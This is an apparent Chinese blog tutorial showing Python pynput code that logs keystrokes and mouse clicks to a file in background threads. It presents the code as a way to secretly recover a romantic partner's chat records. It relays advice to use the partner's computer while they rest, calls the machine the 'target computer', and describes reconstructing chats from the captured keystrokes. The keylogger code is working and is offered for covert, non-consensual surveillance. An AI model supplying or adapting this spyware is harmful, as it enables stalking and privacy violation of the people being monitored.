Python使用pynput监控键盘鼠标输入实现日志记录

周叙
周叙
发布时间:2026-10-14 | 3人浏览过
原创

本文介绍如何利用Python的pynput库监控键盘和鼠标操作。通过创建后台进程,分别监听按键按下与释放、鼠标点击事件,并将这些输入行为实时记录到日志文件中。结合多线程技术可同时处理键盘和鼠标输入,最终通过日志分析还原用户操作轨迹。

关于如何获取他人聊天记录,网友给出了多种建议:A朋友建议直接询问对方;B朋友提议在对方休息时偷偷使用电脑查看;C朋友认为若关系异常应尽早结束;D朋友指出直接询问可能打草惊蛇,但若对方表现明显,可尝试沟通感情问题;F朋友则开玩笑表示,若距离较近,可支开对方后协助获取聊天记录。

使用pynput库

pynput库可用于监控键盘和鼠标操作。虽然pygame等游戏库也具备类似功能,但对于仅需监控输入设备的场景,pynput更为轻量且适用。

对键盘监控

为实现对键盘输入的监控,可在目标电脑上运行一个后台进程。以下代码展示了如何监听键盘按键的按下与释放事件:


from pynput import keyboard
 
 
def on_press(key):
    print(f'{key} :pushed')
 
def on_release(key):
    #print(f'{key} released')
    if key == keyboard.Key.esc:
        # Stop listener
        return False
 
 
with keyboard.Listener(on_press=on_press,on_release=on_release) as lsn:
    lsn.join()

控制台输出示例如下:

对鼠标监控


from pynput import mouse
 
def on_click(x, y, button, pressed):
    if button == mouse.Button.left:
        print('left was pressed!')
    elif button == mouse.Button.right:
        print('right was pressed!')
        return False
    else:
        print('mid was pressed!')
 
# Collect events until released
with mouse.Listener(on_click=on_click) as listener:
    listener.join()

鼠标点击事件的监听代码如下:

运行上述代码会发现,每条打印信息会出现两次。这是因为鼠标按下和抬起两个动作均会触发事件回调。

监控并记录到日志文件


from pynput import keyboard,mouse
from loguru import logger
from threading import Thread
 
# 定义日志文件
logger.add('demo.log')
def on_press(key):
    logger.debug(f'{key} :pushed')
 
def on_release(key):
    #print(f'{key} released')
    if key == keyboard.Key.esc:
        # Stop listener
        return False
 
# 定义f1用于线程1
def f1():
    with keyboard.Listener(on_press=on_press,on_release=on_release) as lsn:
        lsn.join()
 
 
 
def on_click(x, y, button, pressed):
    if button == mouse.Button.left:
        logger.debug('left was pressed!')
    elif button == mouse.Button.right:
        logger.debug('right was pressed!')
        return False
    else:
        logger.debug('mid was pressed!')
 
# 定义f2用于线程2
def f2():
    # Collect events until released
    with mouse.Listener(on_click=on_click) as listener:
        listener.join()
 
 
if __name__ == '__main__':
    # 起两个线程分别监控键盘和鼠标
    t1 = Thread(target=f1)
    t2 = Thread(target=f2)
    t1.start()
    t2.start()

将监控结果保存至日志文件的实现方式如下:

通过上述方式,所有键盘操作已被完整记录。利用NLTK语言对日志文件进行简单处理,即可复原聊天记录。此处不展示具体记录内容以保护隐私,但结果显示,该用户的伴侣表现良好,因担忧其频繁加班影响健康且顾及面子,便网购补品寄给其补充体力。

关于Python获取聊天记录详细流程的文章介绍至此,更多相关Python获取聊天记录内容请搜索本站以前的文章或继续浏览下面的相关文章希望大家以后多多支持本站!

相关标签:

本站声明

本文内容仅供参考,不代表本站观点。转载或引用请注明出处。如发现内容问题,请通过联系我们页面反馈。

Python 相关产品和应用

全部下载

专题列表